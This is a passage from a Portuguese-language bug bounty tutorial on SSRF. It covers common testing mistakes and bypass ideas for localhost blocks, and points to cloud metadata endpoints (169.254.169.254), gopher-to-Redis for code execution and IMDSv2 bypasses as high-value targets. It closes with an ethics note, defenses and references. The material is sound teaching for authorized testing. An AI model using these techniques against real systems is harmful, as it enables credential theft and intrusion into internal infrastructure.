localhostestá bloqueado e parar: sempre tente as representações alternativas (decimal, IPv6,0.0.0.0, DNS público que resolve pra127.0.0.1). - Confundir Open Redirect com SSRF: open redirect manda o navegador da vítima (client-side); SSRF faz o servidor sair (server-side). São bugs diferentes — só viram dupla quando o redirect serve de ponte pro SSRF.
file://em cliente HTTP moderno: muitos clientes (libs HTTP atuais) já não aceitamfile:///gopher://. Não assuma — teste.- XXE que não percebeu que é SSRF: parsers de XML com entidades externas (
SYSTEM "http://...") fazem requisição de saída. XXE muitas vezes é um vetor de SSRF.
O que você precisa lembrar
- SSRF = você escolhe pra onde o servidor faz a requisição. O servidor está dentro da rede; a confiança dele vira sua.
- Basic (lê a resposta) vale mais que blind (só confirma saída via OAST), mas blind é a porta de entrada — sempre confirme com Collaborator primeiro.
- O dinheiro está no alvo interno: cloud metadata (
169.254.169.254) → credenciais; serviço interno sem auth; gopher+Redis → RCE. - Defesa real = allowlist + sem redirect + segmentação de rede + IMDSv2. Blocklist sempre fura.
💡 Dica de ouro: quando achar um SSRF, sua primeira pergunta não é “achei?”, e sim “o que eu controlo?” — só a URL, ou também o método e os headers? Essa resposta decide se você lê IMDSv1 (fácil), fura IMDSv2/GCP/Azure (precisa de header/PUT, ou gopher) ou chega num RCE. O bug é o mesmo; o impacto (e o cheque) muda conforme o alcance.
Nota ética
Tudo aqui é pra testes autorizados — bug bounty dentro do escopo, pentests contratados e labs legais. SSRF dá acesso a infraestrutura interna e credenciais reais; um passo a mais (listar buckets, baixar dados, persistir acesso) deixa de ser “prova de conceito” e vira invasão, com consequências criminais. Confirme o impacto com o mínimo necessário, mascare segredos no report e pare. Use pra proteger, reportar com responsabilidade e ensinar.
Referências
- OWASP A10:2021 — Server-Side Request Forgery (SSRF)
- OWASP — SSRF Prevention Cheat Sheet
- PortSwigger — SSRF e Blind SSRF
- AWS — Use the Instance Metadata Service (IMDSv1 vs IMDSv2)
- GCP — Metadata server overview
- Azure — Instance Metadata Service
- PayloadsAllTheThings — Server Side Request Forgery
- reddelexc/hackerone-reports — Top SSRF reports
Próximo/relacionado na série: Security Misconfiguration & CVE Hunting (Spring Boot Actuator e gateways internos viram SSRF) · escalar a credencial: Cloud & AWS Misconfiguration · encadear o impacto: Chaining de vulnerabilidades e RCE & Command Injection / SSTI · base: Recon & Discovery · pra reportar: Como escrever um report que paga
📚 Parte do Guia Completo de Bug Bounty — o índice da série, do básico ao avançado.
